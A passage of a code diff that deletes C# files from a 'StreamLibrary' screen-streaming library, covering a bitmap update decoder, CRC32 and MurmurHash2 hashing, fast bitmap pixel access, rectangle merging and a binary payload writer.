return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
|
||||
(int)Math.Floor((double)(x / CheckBlock.Width));
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,186 +0,0 @@
|
||||
// Tamir Khason http://khason.net/
|
||||
//
|
||||
// Released under MS-PL : 6-Apr-09
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Security.Cryptography;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
/// <summary>Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.</summary>
|
||||
/// <remarks>This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
|
||||
/// or SHA512 in the System.Security.Cryptography namespace.</remarks>
|
||||
public class CRC32 : HashAlgorithm
|
||||
{
|
||||
#region CONSTRUCTORS
|
||||
/// <summary>Creates a CRC32 object using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public CRC32()
|
||||
: this(DefaultPolynomial)
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>Creates a CRC32 object using the specified polynomial.</summary>
|
||||
/// <remarks>The polynomical should be supplied in its bit-reflected form. <see cref="DefaultPolynomial"/>.</remarks>
|
||||
public CRC32(uint polynomial)
|
||||
{
|
||||
HashSizeValue = 32;
|
||||
_crc32Table = (uint[])_crc32TablesCache[polynomial];
|
||||
if (_crc32Table == null)
|
||||
{
|
||||
_crc32Table = CRC32._buildCRC32Table(polynomial);
|
||||
_crc32TablesCache.Add(polynomial, _crc32Table);
|
||||
}
|
||||
Initialize();
|
||||
}
|
||||
|
||||
// static constructor
|
||||
static CRC32()
|
||||
{
|
||||
_crc32TablesCache = Hashtable.Synchronized(new Hashtable());
|
||||
_defaultCRC = new CRC32();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PROPERTIES
|
||||
/// <summary>Gets the default polynomial (used in WinZip, Ethernet, etc.)</summary>
|
||||
/// <remarks>The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.</remarks>
|
||||
public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
|
||||
#endregion
|
||||
|
||||
#region METHODS
|
||||
/// <summary>Initializes an implementation of HashAlgorithm.</summary>
|
||||
public override void Initialize()
|
||||
{
|
||||
_crc = _allOnes;
|
||||
}
|
||||
|
||||
/// <summary>Routes data written to the object into the hash algorithm for computing the hash.</summary>
|
||||
protected override void HashCore(byte[] buffer, int offset, int count)
|
||||
{
|
||||
for (int i = offset; i < count; i++)
|
||||
{
|
||||
ulong ptr = (_crc & 0xFF) ^ buffer[i];
|
||||
_crc >>= 8;
|
||||
_crc ^= _crc32Table[ptr];
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>
|
||||
protected override byte[] HashFinal()
|
||||
{
|
||||
byte[] finalHash = new byte[4];
|
||||
ulong finalCRC = _crc ^ _allOnes;
|
||||
|
||||
finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
|
||||
finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
|
||||
finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
|
||||
finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
|
||||
|
||||
return finalHash;
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the given ASCII string using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(string asciiString)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(asciiString));
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the given input stream using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(Stream inputStream)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(inputStream));
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(byte[] buffer)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(buffer));
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(byte[] buffer, int offset, int count)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the given ASCII string.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
public byte[] ComputeHash(string asciiString)
|
||||
{
|
||||
byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
|
||||
return ComputeHash(rawBytes);
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the given input stream.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(Stream inputStream)
|
||||
{
|
||||
byte[] buffer = new byte[4096];
|
||||
int bytesRead;
|
||||
while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
|
||||
{
|
||||
HashCore(buffer, 0, bytesRead);
|
||||
}
|
||||
return HashFinal();
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(byte[] buffer)
|
||||
{
|
||||
return ComputeHash(buffer, 0, buffer.Length);
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(byte[] buffer, int offset, int count)
|
||||
{
|
||||
HashCore(buffer, offset, count);
|
||||
return HashFinal();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PRIVATE SECTION
|
||||
private static uint _allOnes = 0xffffffff;
|
||||
private static CRC32 _defaultCRC;
|
||||
private static Hashtable _crc32TablesCache;
|
||||
private uint[] _crc32Table;
|
||||
private uint _crc;
|
||||
|
||||
// Builds a crc32 table given a polynomial
|
||||
private static uint[] _buildCRC32Table(uint polynomial)
|
||||
{
|
||||
uint crc;
|
||||
uint[] table = new uint[256];
|
||||
|
||||
// 256 values representing ASCII character codes.
|
||||
for (int i = 0; i < 256; i++)
|
||||
{
|
||||
crc = (uint)i;
|
||||
for (int j = 8; j > 0; j--)
|
||||
{
|
||||
if ((crc & 1) == 1)
|
||||
crc = (crc >> 1) ^ polynomial;
|
||||
else
|
||||
crc >>= 1;
|
||||
}
|
||||
table[i] = crc;
|
||||
}
|
||||
|
||||
return table;
|
||||
}
|
||||
|
||||
private static int ToInt32(byte[] buffer)
|
||||
{
|
||||
return BitConverter.ToInt32(buffer, 0);
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
@ -1,12 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace System.Runtime.CompilerServices
|
||||
{
|
||||
[AttributeUsage(AttributeTargets.Method)]
|
||||
public sealed class ExtensionAttribute : Attribute
|
||||
{
|
||||
public ExtensionAttribute() { }
|
||||
}
|
||||
}
|
@ -1,59 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public static unsafe class Extensions
|
||||
{
|
||||
public static SortedList<int, SortedList<int, Rectangle>> RectanglesTo2D(this Rectangle[] rects)
|
||||
{
|
||||
SortedList<int, SortedList<int, Rectangle>> Rects = new SortedList<int, SortedList<int, Rectangle>>();
|
||||
for (int i = 0; i < rects.Length; i++)
|
||||
{
|
||||
if (!Rects.ContainsKey(rects[i].Y))
|
||||
Rects.Add(rects[i].Y, new SortedList<int, Rectangle>());
|
||||
|
||||
if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
|
||||
Rects[rects[i].Y].Add(rects[i].X, rects[i]);
|
||||
}
|
||||
return Rects;
|
||||
}
|
||||
|
||||
public static SortedList<int, SortedList<int, Rectangle>> Rectangle2DToRows(this SortedList<int, SortedList<int, Rectangle>> Rects)
|
||||
{
|
||||
SortedList<int, SortedList<int, Rectangle>> RectRows = new SortedList<int, SortedList<int, Rectangle>>();
|
||||
|
||||
for (int i = 0; i < Rects.Values.Count; i++)
|
||||
{
|
||||
if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
|
||||
{
|
||||
RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList<int, Rectangle>());
|
||||
}
|
||||
if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
|
||||
{
|
||||
RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
|
||||
}
|
||||
|
||||
Rectangle EndRect = Rects.Values[i].Values[0];
|
||||
for (int x = 1; x < Rects.Values[i].Values.Count; x++)
|
||||
{
|
||||
Rectangle CurRect = Rects.Values[i].Values[x];
|
||||
Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
|
||||
if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
|
||||
{
|
||||
RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
|
||||
EndRect = Rects.Values[i].Values[x];
|
||||
}
|
||||
else
|
||||
{
|
||||
EndRect = Rects.Values[i].Values[x];
|
||||
RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
|
||||
}
|
||||
}
|
||||
}
|
||||
return RectRows;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,353 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class FastBitmap
|
||||
{
|
||||
public Bitmap bitmap { get; set; }
|
||||
public BitmapData bitmapData { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
public PixelFormat format { get; private set; }
|
||||
public DateTime BitmapCreatedAt;
|
||||
public bool IsLocked { get; private set; }
|
||||
|
||||
public int Stride
|
||||
{
|
||||
get { return bitmapData.Stride; }
|
||||
}
|
||||
|
||||
public FastBitmap(Bitmap bitmap, PixelFormat format)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
|
||||
this.bitmap = bitmap;
|
||||
this.Width = this.bitmap.Width;
|
||||
this.Height = this.bitmap.Height;
|
||||
this.format = format;
|
||||
Lock();
|
||||
BitmapCreatedAt = DateTime.Now;
|
||||
}
|
||||
|
||||
public FastBitmap(Bitmap bitmap)
|
||||
{
|
||||
this.format = bitmap.PixelFormat;
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
|
||||
this.bitmap = bitmap;
|
||||
this.Width = this.bitmap.Width;
|
||||
this.Height = this.bitmap.Height;
|
||||
this.format = format;
|
||||
Lock();
|
||||
BitmapCreatedAt = DateTime.Now;
|
||||
}
|
||||
|
||||
public Color GetPixel(int x, int y)
|
||||
{
|
||||
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||
position += CalcOffset(x, y);
|
||||
|
||||
byte A = position[3];
|
||||
byte R = position[2];
|
||||
byte G = position[1];
|
||||
byte B = position[0];
|
||||
return Color.FromArgb(A, R, G, B);
|
||||
}
|
||||
|
||||
public void SetPixel(int x, int y, Color color)
|
||||
{
|
||||
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||
position += CalcOffset(x, y);
|
||||
|
||||
position[3] = color.A;
|
||||
position[2] = color.R;
|
||||
position[1] = color.G;
|
||||
position[0] = color.B;
|
||||
}
|
||||
|
||||
public Color GetPixel(int x, int y, byte[] ImgData)
|
||||
{
|
||||
long offset = CalcOffset(x, y) + 4;
|
||||
if (offset + 4 < ImgData.Length)
|
||||
{
|
||||
byte R = ImgData[offset];
|
||||
byte G = ImgData[offset + 1];
|
||||
byte B = ImgData[offset + 2];
|
||||
return Color.FromArgb(255, R, G, B);
|
||||
}
|
||||
return Color.FromArgb(255, 0, 0, 0);
|
||||
}
|
||||
public void SetPixel(int x, int y, Color color, byte[] ImgData)
|
||||
{
|
||||
long offset = CalcOffset(x, y) + 4;
|
||||
if (offset + 4 < ImgData.Length)
|
||||
{
|
||||
ImgData[offset] = color.R;
|
||||
ImgData[offset + 1] = color.G;
|
||||
ImgData[offset + 2] = color.B;
|
||||
ByteArrayToBitmap(ImgData);
|
||||
}
|
||||
}
|
||||
|
||||
public void DrawRectangle(Point begin, Point end, Color color)
|
||||
{
|
||||
for (int x = begin.X; x < end.X; x++)
|
||||
{
|
||||
for (int y = begin.Y; y < end.Y; y++)
|
||||
{
|
||||
SetPixel(x, y, color);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Int64 CalcOffset(int x, int y)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
return (y * bitmapData.Stride) + (x * 4);
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
return (y * bitmapData.Stride) + (x * 3);
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
return (y * bitmapData.Stride) + x;
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
return (y * bitmapData.Stride) + (x / 2);
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
return (y * bitmapData.Stride) + (x * 8);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
return (y * (width * 4)) + (x * 4);
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
return (y * (width * 3)) + (x * 3);
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
return (y * width) + x;
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
return (y * (width / 2)) + (x / 2);
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
return (y * (width * 8)) + (x * 8);
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
|
||||
{
|
||||
Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
|
||||
for (int x = BeginPoint.X; x < this.Width; x++)
|
||||
{
|
||||
Color prevColor = GetPixel(x, BeginPoint.Y);
|
||||
|
||||
if (curColor.R != prevColor.R ||
|
||||
curColor.G != prevColor.G ||
|
||||
curColor.B != prevColor.B)
|
||||
{
|
||||
EndPoint = new Point(x, BeginPoint.Y);
|
||||
RetColor = curColor;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
EndPoint = new Point(this.Width, BeginPoint.Y);
|
||||
RetColor = curColor;
|
||||
}
|
||||
|
||||
public void Unlock()
|
||||
{
|
||||
if (IsLocked)
|
||||
{
|
||||
bitmap.UnlockBits(bitmapData);
|
||||
IsLocked = false;
|
||||
}
|
||||
}
|
||||
public void Lock()
|
||||
{
|
||||
if (!IsLocked)
|
||||
{
|
||||
bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
|
||||
IsLocked = true;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] ToByteArray()
|
||||
{
|
||||
int bytes = Math.Abs(bitmapData.Stride) * Height;
|
||||
byte[] rgbValues = new byte[bytes];
|
||||
System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
|
||||
return rgbValues;
|
||||
}
|
||||
|
||||
public void ByteArrayToBitmap(byte[] data)
|
||||
{
|
||||
System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (bitmap != null)
|
||||
{
|
||||
try { bitmap.UnlockBits(bitmapData); }
|
||||
catch { }
|
||||
try { bitmap.Dispose(); }
|
||||
catch { }
|
||||
try
|
||||
{
|
||||
bitmap = null;
|
||||
bitmapData = null;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary> Get the byte points where to read from in a byte array </summary>
|
||||
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||
/// <param name="endPoint">The end of the X, Y</param>
|
||||
/// <param name="ImgSize">The size of the image</param>
|
||||
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||
public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
|
||||
{
|
||||
List<ArrayOffset> offsets = new List<ArrayOffset>();
|
||||
|
||||
for (int y = beginPoint.Y; y < endPoint.Y; y++)
|
||||
{
|
||||
int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
|
||||
int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return offsets.ToArray();
|
||||
}
|
||||
|
||||
/// <summary> Get the byte points in 2D </summary>
|
||||
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||
/// <param name="endPoint">The end of the X, Y</param>
|
||||
/// <param name="ImgSize">The size of the image</param>
|
||||
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||
public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
|
||||
{
|
||||
int Width = endPoint.X - beginPoint.X;
|
||||
int Height = endPoint.Y - beginPoint.Y;
|
||||
|
||||
float Wsize = ((float)Width / (float)SlicePieces);
|
||||
float Hsize = ((float)Height / (float)SlicePieces);
|
||||
|
||||
//+1 just to make sure we are not going outside the array
|
||||
if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
|
||||
if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
|
||||
|
||||
ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
|
||||
Point tmp = new Point(0, 0);
|
||||
for (int y = beginPoint.Y; y < Height; y += SlicePieces)
|
||||
{
|
||||
for (int x = beginPoint.X; x < Width; x += SlicePieces)
|
||||
{
|
||||
ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
|
||||
tmp.X++;
|
||||
}
|
||||
tmp.X = 0;
|
||||
tmp.Y++;
|
||||
}
|
||||
return ImageArrayOffsets;
|
||||
}
|
||||
}
|
||||
|
||||
public class ArrayOffset
|
||||
{
|
||||
public int BeginOffset { get; private set; }
|
||||
public int EndOffset { get; private set; }
|
||||
public int Stride { get; private set; }
|
||||
public int X { get; private set; }
|
||||
public int Y { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
|
||||
public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
|
||||
{
|
||||
this.BeginOffset = begin;
|
||||
this.EndOffset = end;
|
||||
this.Stride = Stride;
|
||||
this.X = x;
|
||||
this.Y = y;
|
||||
this.Width = width;
|
||||
this.Height = height;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,62 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class MurmurHash2Unsafe
|
||||
{
|
||||
const UInt32 m = 0x5bd1e995;
|
||||
const Int32 r = 24;
|
||||
|
||||
public unsafe UInt32 Hash(Byte* data, int length)
|
||||
{
|
||||
if (length == 0)
|
||||
return 0;
|
||||
UInt32 h = 0xc58f1a7b ^ (UInt32)length;
|
||||
Int32 remainingBytes = length & 3; // mod 4
|
||||
Int32 numberOfLoops = length >> 2; // div 4
|
||||
UInt32* realData = (UInt32*)data;
|
||||
while (numberOfLoops != 0)
|
||||
{
|
||||
UInt32 k = *realData;
|
||||
k *= m;
|
||||
k ^= k >> r;
|
||||
k *= m;
|
||||
|
||||
h *= m;
|
||||
h ^= k;
|
||||
numberOfLoops--;
|
||||
realData++;
|
||||
}
|
||||
switch (remainingBytes)
|
||||
{
|
||||
case 3:
|
||||
h ^= (UInt16)(*realData);
|
||||
h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
|
||||
h *= m;
|
||||
break;
|
||||
case 2:
|
||||
h ^= (UInt16)(*realData);
|
||||
h *= m;
|
||||
break;
|
||||
case 1:
|
||||
h ^= *((Byte*)realData);
|
||||
h *= m;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// Do a few final mixes of the hash to ensure the last few
|
||||
// bytes are well-incorporated.
|
||||
|
||||
h ^= h >> 13;
|
||||
h *= m;
|
||||
h ^= h >> 15;
|
||||
|
||||
return h;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,113 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public class PayloadWriter : IDisposable
|
||||
{
|
||||
public Stream vStream { get; set; }
|
||||
public PayloadWriter()
|
||||
{
|
||||
vStream = new MemoryStream();
|
||||
}
|
||||
public PayloadWriter(Stream stream)
|
||||
{
|
||||
vStream = stream;
|
||||
}
|
||||
|
||||
public void WriteBytes(byte[] value)
|
||||
{
|
||||
vStream.Write(value, 0, value.Length);
|
||||
}
|
||||
|
||||
public void WriteBytes(byte[] value, int Offset, int Length)
|
||||
{
|
||||
vStream.Write(value, Offset, Length);
|
||||
}
|
||||
|
||||
public void WriteInteger(int value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// A integer with 3 bytes not 4
|
||||
/// </summary>
|
||||
public void WriteThreeByteInteger(int value)
|
||||
{
|
||||
WriteByte((byte)value);
|
||||
WriteByte((byte)(value >> 8));
|
||||
WriteByte((byte)(value >> 16));
|
||||
}
|
||||
|
||||
public void WriteUInteger(uint value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
|
||||
public void WriteShort(short value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteUShort(ushort value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteULong(ulong value)
|
||||
{
|
||||
